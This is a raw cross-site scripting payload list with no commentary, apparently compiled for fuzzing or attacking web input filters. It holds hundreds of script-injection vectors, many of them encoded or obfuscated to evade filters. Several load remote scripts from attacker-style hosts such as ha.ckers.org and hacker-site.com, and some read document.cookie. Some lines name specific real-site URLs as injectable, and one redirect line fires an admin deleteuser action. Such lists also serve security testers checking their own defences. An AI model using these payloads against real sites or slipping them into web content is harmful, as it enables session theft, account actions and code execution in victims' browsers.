<A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">XSS</A>
<A HREF=\"http://1113982867/\">XSS</A>
<A HREF=\"http://0x42.0x0000066.0x7.0x93/\">XSS</A>
<A HREF=\"http://0102.0146.0007.00000223/\">XSS</A>
<A HREF=\"htt p://6 6.000146.0x7.147/\">XSS</A>
<A HREF=\"//www.google.com/\">XSS</A>
<A HREF=\"//google\">XSS</A>
<A HREF=\"http://ha.ckers.org@google\">XSS</A>
<A HREF=\"http://google:ha.ckers.org\">XSS</A>
<A HREF=\"http://google.com/\">XSS</A>
<A HREF=\"http://www.google.com./\">XSS</A>
<A HREF=\"javascript:document.location='http://www.google.com/'\">XSS</A>
<A HREF=\"http://www.gohttp://www.google.com/ogle.com/\">XSS</A>
%3C
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
\x3c
\x3C
\u003c
\u003C
<iframe src=http://ha.ckers.org/scriptlet.html>
<IMG SRC=\"javascript:alert('XSS')\"
<SCRIPT SRC=//ha.ckers.org/.js>
<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>
<<SCRIPT>alert(\"XSS\");//<</SCRIPT>
<SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(\"XSS\")>
<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
<IMG SRC=\" javascript:alert('XSS');\">
perl -e 'print \"<SCR\0IPT>alert(\\"XSS\\")</SCR\0IPT>\";' > out
perl -e 'print \"<IMG SRC=java\0script:alert(\\"XSS\\")>\";' > out
<IMG SRC=\"jav
ascript:alert('XSS');\">
<IMG SRC=\"jav
ascript:alert('XSS');\">
<IMG SRC=\"jav	ascript:alert('XSS');\">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">
<IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=\"javascript:alert('XSS');\">
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
'';!--\"<XSS>=&{()}
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<IMG SRC=javascrscriptipt:alert('XSS')>
exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
a="get";b="URL(ja\"";c="vascr";d="ipt:ale";e="rt('XSS');\")";eval(a+b+c+d+e);
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>"></BODY></HTML>
<form id="test" /><button form="test" formaction="javascript:alert(123)">TESTHTML5FORMACTION
<form><button formaction="javascript:alert(123)">crosssitespt
<frameset onload=alert(123)>
<!--<img src="--><img src=x onerror=alert(123)//">
<style><img src="</style><img src=x onerror=alert(123)//">
<script>({0:#0=alert/#0#/#0#(123)})</script>
<script>ReferenceError.prototype.__defineGetter__('name', function(){alert(123)}),x</script>
<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script>
<script src="#">{alert(1)}</script>;1
<script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script>
<svg xmlns="#"><script>alert(1)</script></svg>
<svg onload="javascript:alert(123)" xmlns="#"></svg>
<iframe xmlns="#" src="javascript:alert(1)"></iframe>
+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-
%2BADw-script+AD4-alert(document.location)%2BADw-/script%2BAD4-
+ACIAPgA8-script+AD4-alert(document.location)+ADw-/script+AD4APAAi-
%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-
%253cscript%253ealert(document.cookie)%253c/script%253e
“><ScRiPt>alert(document.cookie)</script>
“><<script>alert(document.cookie);//<</script>
foo<script>alert(document.cookie)</script>
<scr<script>ipt>alert(document.cookie)</scr</script>ipt>
%22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)’%3E
‘; alert(document.cookie); var foo=’
foo\’; alert(document.cookie);//’;
</script><script >alert(document.cookie)</script>
<img src=asdf onerror=alert(document.cookie)>
<BODY ONLOAD=alert(’XSS’)>
"><script>alert(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))</script>
<video src=1 onerror=alert(1)>
<audio src=1 onerror=alert(1)>
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">test</a>
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onoffline="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onpagehide="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onpageshow="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onpopstate="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onresize="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onstorage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onblur="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oncontextmenu="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oninput="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oninvalid="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onreset="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onsearch="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onselect="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onsubmit="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onkeydown="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onkeypress="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onkeyup="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onclick="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondblclick="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmousedown="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmousemove="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmouseout="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmouseover="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmouseup="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmousewheel="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onwheel="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondrag="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragend="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragenter="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragleave="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragover="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragstart="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondrop="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onscroll="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oncopy="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oncut="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onpaste="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onabort="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oncanplay="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oncanplaythrough="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oncuechange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondurationchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onemptied="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onended="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onloadeddata="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onloadedmetadata="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onloadstart="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onpause="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onplay="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onplaying="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onprogress="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onratechange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onseeked="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onseeking="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onstalled="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onsuspend="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ontimeupdate="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onvolumechange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onwaiting="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onshow="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ontoggle="alert(String.fromCharCode(88,83,83))">
<META onpaonpageonpagonpageonpageshowshoweshowshowgeshow="alert(1)";
<INPUT TYPE="BUTTON" action="alert('XSS')"/>
"><h1><IFRAME SRC="javascript:alert('XSS');"></IFRAME>">123</h1>
"><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1>
"></iframe><script>alert(`TEXT YOU WANT TO BE DISPLAYED`);</script><iframe frameborder="0%EF%BB%BF
"><h1><IFRAME width="420" height="315" SRC="http://www.youtube.com/embed/sxvccpasgTE" frameborder="0" onmouseover="alert(document.cookie)"></IFRAME>123</h1>
"><h1><iframe width="420" height="315" src="http://www.youtube.com/embed/sxvccpasgTE" frameborder="0" allowfullscreen></iframe>123</h1>
><h1><IFRAME width="420" height="315" frameborder="0" onmouseover="document.location.href='https://www.youtube.com/channel/UC9Qa_gXarSmObPX3ooIQZr
g'"></IFRAME>Hover the cursor to the LEFT of this Message</h1>&ParamHeight=250
<IFRAME width="420" height="315" frameborder="0" onload="alert(document.cookie)"></IFRAME>
<iframe src="	javascript:prompt(1)	">
<sVg><scRipt >alert(1) {Opera}
<img/src=`` onerror=this.onerror=confirm(1)
<img src=``
 onerror=alert(1)

<script /**/>/**/alert(1)/**/</script /**/
"><h1/onmouseover='\u0061lert(1)'>
<svg><script xlink:href=data:,window.open('https://www.google.com/') </script
<form><a href="javascript:\u0061lert(1)">X</script><img/*/src="worksinchrome:prompt(1)"/*/onerror='eval(src)'>
<iframe// src=javaSCRIPT:alert(1)
"><img src=x onerror=javascript:alert(1)>
"><img src=x onerror=javascript:alert('1')>
"><img src=x onerror=javascript:alert("1")>
"><img src=x onerror=javascript:alert(`1`)>
"><img src=x onerror=javascript:alert(('1'))>
"><img src=x onerror=javascript:alert(("1"))>
"><img src=x onerror=javascript:alert((`1`))>
"><img src=x onerror=javascript:alert(A)>
"><img src=x onerror=javascript:alert((A))>
"><img src=x onerror=javascript:alert(('A'))>
"><img src=x onerror=javascript:alert('A')>
"><img src=x onerror=javascript:alert(("A"))>
"><img src=x onerror=javascript:alert("A")>
"><img src=x onerror=javascript:alert((`A`))>
"><img src=x onerror=javascript:alert(`A`)>
<IMG SRC="jav ascript:javascript:alert(1);">
<IMG SRC="jav ascript:alert('XSS');">
<A HREF="htt p://6 6.000146.0x7.147/">XSS</A>
</script><img/*/src="worksinchrome:prompt(1)"/*/onerror='eval(src)'>
'>//\\,<'>">">"*"
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=foo.png onerror=alert(/xssed/) />
<style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style>
<? echo('<scr)'; echo('ipt>alert(\"XSS\")</script>'); ?>
<marquee><script>alert('XSS')</script></marquee>
<IMG SRC=\"jav	ascript:alert('XSS');\">
<IMG SRC=\"jav
ascript:alert('XSS');\">
<IMG SRC=\"jav
ascript:alert('XSS');\">
<IMG LOWSRC=\"javascript:alert('XSS')\">
[color=red' onmouseover="alert('xss')"]mouse over[/color]
window.alert("Bonjour !");
<div style="x:expression((window.r==1)?'':eval('r=1;
alert(String.fromCharCode(88,83,83));'))">
<iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>
"><script alert(String.fromCharCode(88,83,83))</script>
'>><marquee><h1>XSS</h1></marquee>
'">><script>alert('XSS')</script>
'">><marquee><h1>XSS</h1></marquee>
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">
<script>var var = 1; alert(var)</script>
<?='<SCRIPT>alert("XSS")</SCRIPT>'?>
<IMG SRC='vbscript:msgbox(\"XSS\")'>
" onfocus=alert(document.domain) "> <"
<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS
perl -e 'print \"<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>\";' > out
perl -e 'print \"<IMG SRC=java\0script:alert(\"XSS\")>\";' > out
<br size=\"&{alert('XSS')}\">
<scrscriptipt>alert(1)</scrscriptipt>
</br style=a:expression(alert())>
</script><script>alert(1)</script>
[color=red width=expression(alert(123))][color]
Execute(MsgBox(chr(88)&chr(83)&chr(83)))<
"></iframe><script>alert(123)</script>
<body onLoad="while(true) alert('XSS');">
'"></title><script>alert(1111)</script>
</textarea>'"><script>alert(document.cookie)</script>
'""><script language="JavaScript"> alert('X \nS \nS');</script>
</script></script><<<<script><>>>><<<script>alert(123)</script>
'></select><script>alert(123)</script>
'>"><script src = 'http://www.site.com/XSS.js'></script>
<SCRIPT>document.write("XSS");</SCRIPT>
a="get";b="URL";c="javascript:";d="alert('xss');";eval(a+b+c+d);
<script+src=">"+src="http://yoursite.com/xss.js?69,69"></script>
<body background=javascript:'"><script>alert(navigator.userAgent)</script>></body>
">/XaDoS/><script>alert(document.cookie)</script><script src="http://www.site.com/XSS.js"></script>
">/KinG-InFeT.NeT/><script>alert(document.cookie)</script>
src="http://www.site.com/XSS.js"></script>
data:text/html;charset=utf-7;base64,Ij48L3RpdGxlPjxzY3JpcHQ+YWxlcnQoMTMzNyk8L3NjcmlwdD4=
!--" /><script>alert('xss');</script>
<script>alert("XSS by \nxss")</script><marquee><h1>XSS by xss</h1></marquee>
"><script>alert("XSS by \nxss")</script>><marquee><h1>XSS by xss</h1></marquee>
'"></title><script>alert("XSS by \nxss")</script>><marquee><h1>XSS by xss</h1></marquee>
<img """><script>alert("XSS by \nxss")</script><marquee><h1>XSS by xss</h1></marquee>
<script>alert(1337)</script><marquee><h1>XSS by xss</h1></marquee>
"><script>alert(1337)</script>"><script>alert("XSS by \nxss</h1></marquee>
'"></title><script>alert(1337)</script>><marquee><h1>XSS by xss</h1></marquee>
<iframe src="javascript:alert('XSS by \nxss');"></iframe><marquee><h1>XSS by xss</h1></marquee>
'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt='
"><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt="
\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt=\'
http://www.simpatie.ro/index.php?page=friends&member=781339&javafunctionname=Pageclick&javapgno=2 javapgno=2 ??XSS??
http://www.simpatie.ro/index.php?page=top_movies&cat=13&p=2 p=2 ??XSS??
'); alert('xss'); var x='
\\'); alert(\'xss\');var x=\'
//--></SCRIPT><SCRIPT>alert(String.fromCharCode(88,83,83));
>"><ScRiPt%20%0a%0d>alert(561177485777)%3B</ScRiPt>
<img src="Mario Heiderich says that svg SHOULD not be executed trough image tags" onerror="javascript:document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0022\u0064\u0061\u0074\u0061\u003a\u0069\u006d\u0061\u0067\u0065\u002f\u0073\u0076\u0067\u002b\u0078\u006d\u006c\u003b\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0050\u0048\u004e\u0032\u005a\u0079\u0042\u0034\u0062\u0057\u0078\u0075\u0063\u007a\u0030\u0069\u0061\u0048\u0052\u0030\u0063\u0044\u006f\u0076\u004c\u0033\u0064\u0033\u0064\u0079\u0035\u0033\u004d\u0079\u0035\u0076\u0063\u006d\u0063\u0076\u004d\u006a\u0041\u0077\u004d\u0043\u0039\u007a\u0064\u006d\u0063\u0069\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0044\u0078\u0070\u0062\u0057\u0046\u006e\u005a\u0053\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0045\u0070\u0049\u006a\u0034\u0038\u004c\u0032\u006c\u0074\u0059\u0057\u0064\u006c\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0044\u0078\u007a\u0064\u006d\u0063\u0067\u0062\u0032\u0035\u0073\u0062\u0032\u0046\u006b\u0050\u0053\u004a\u0068\u0062\u0047\u0056\u0079\u0064\u0043\u0067\u0079\u004b\u0053\u0049\u002b\u0050\u0043\u0039\u007a\u0064\u006d\u0063\u002b\u0049\u0043\u0041\u004b\u0049\u0043\u0041\u0067\u0050\u0048\u004e\u006a\u0063\u006d\u006c\u0077\u0064\u0044\u0035\u0068\u0062\u0047\u0056\u0079\u0064\u0043\u0067\u007a\u004b\u0054\u0077\u0076\u0063\u0032\u004e\u0079\u0061\u0058\u0042\u0030\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0044\u0078\u006b\u005a\u0057\u005a\u007a\u0049\u0047\u0039\u0075\u0062\u0047\u0039\u0068\u005a\u0044\u0030\u0069\u0059\u0057\u0078\u006c\u0063\u006e\u0051\u006f\u004e\u0043\u006b\u0069\u0050\u006a\u0077\u0076\u005a\u0047\u0056\u006d\u0063\u007a\u0034\u0067\u0049\u0041\u006f\u0067\u0049\u0043\u0041\u0038\u005a\u0079\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0055\u0070\u0049\u006a\u0034\u0067\u0049\u0041\u006f\u0067\u0049\u0043\u0041\u0067\u0049\u0043\u0041\u0067\u0050\u0047\u004e\u0070\u0063\u006d\u004e\u0073\u005a\u0053\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0059\u0070\u0049\u0069\u0041\u0076\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0043\u0041\u0067\u0049\u0043\u0041\u0038\u0064\u0047\u0056\u0034\u0064\u0043\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0063\u0070\u0049\u006a\u0034\u0038\u004c\u0033\u0052\u006c\u0065\u0048\u0051\u002b\u0049\u0043\u0041\u004b\u0049\u0043\u0041\u0067\u0050\u0043\u0039\u006e\u0050\u0069\u0041\u0067\u0043\u006a\u0077\u0076\u0063\u0033\u005a\u006e\u0050\u0069\u0041\u0067\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e');"></img>
<SCRIPT SRC=http://hacker-site.com/xss.js></SCRIPT>
<SCRIPT> alert(“XSS”); </SCRIPT>
<BODY ONLOAD=alert("XSS")>
<IFRAME SRC=”http://hacker-site.com/xss.html”>
<TD BACKGROUND="javascript:alert('XSS')">
<OBJECT TYPE="text/x-scriptlet" DATA="http://hacker.com/xss.html">
<EMBED SRC="http://hacker.com/xss.swf" AllowScriptAccess="always">
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
<SCRIPT>alert('XSS')</SCRIPT>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<BASE HREF="javascript:alert('XSS');//">
<BGSOUND SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS');">
<BODY ONLOAD=alert('XSS')>
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">
<DIV STYLE="width: expression(alert('XSS'));">
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG DYNSRC="javascript:alert('XSS');">
<IMG LOWSRC="javascript:alert('XSS');">
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
exp/*<XSS STYLE='no\xss:noxss("*//*");
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
<IMG SRC='vbscript:msgbox("XSS")'>
<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>
<IMG SRC="livescript:[code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
<IMG SRC="mocha:[code]">
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
a="get";&#10;b="URL("";&#10;c="javascript:";&#10;d="alert('XSS');")"; eval(a+b+c+d);
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<XSS STYLE="xss:expression(alert('XSS'))">
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
<TABLE BACKGROUND="javascript:alert('XSS')"></TABLE>
<TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE>
<HTML xmlns:xss>
<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML>
<!--[if gte IE 4]>
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
<XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);">
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"-->
<? echo('<SCR)';
<BR SIZE="&{alert('XSS')}">
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
\";alert('XSS');//
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
<IMG
SRC
=
"
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
'
X
S
S
'
)
"
>
perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out
perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out
<IMG SRC=" &#14; javascript:alert('XSS');">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
<SCRIPT SRC=http://ha.ckers.org/xss.js
<SCRIPT SRC=//ha.ckers.org/.j>
<IMG SRC="javascript:alert('XSS')"
<IFRAME SRC=http://ha.ckers.org/scriptlet.html <
<<SCRIPT>alert("XSS");//<</SCRIPT>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<SCRIPT>a=/XSS/
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<A HREF="http://66.102.7.147/">XSS</A>
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
<A HREF="http://1113982867/">XSS</A>
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
<A HREF="h
tt	p://6&#09;6.000146.0x7.147/">XSS</A>
<A HREF="//www.google.com/">XSS</A>
<A HREF="//google">XSS</A>
<A HREF="http://ha.ckers.org@google">XSS</A>
<A HREF="http://google:ha.ckers.org">XSS</A>
<A HREF="http://google.com/">XSS</A>
<A HREF="http://www.google.com./">XSS</A>
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>
<script>document.vulnerable=true;</script>
<img SRC="jav ascript:document.vulnerable=true;">
<img SRC="javascript:document.vulnerable=true;">
<img SRC="  javascript:document.vulnerable=true;">
<body onload!#$%&()*~+-_.,:;?@[/|\]^`=document.vulnerable=true;>
<<SCRIPT>document.vulnerable=true;//<</SCRIPT>
<script <B>document.vulnerable=true;</script>
<img SRC="javascript:document.vulnerable=true;"
<iframe src="javascript:document.vulnerable=true; <
<script>a=/XSS/\ndocument.vulnerable=true;</script>
\";document.vulnerable=true;;//
</title><SCRIPT>document.vulnerable=true;</script>
<input TYPE="IMAGE" SRC="javascript:document.vulnerable=true;">
<body BACKGROUND="javascript:document.vulnerable=true;">
<body ONLOAD=document.vulnerable=true;>
<img DYNSRC="javascript:document.vulnerable=true;">
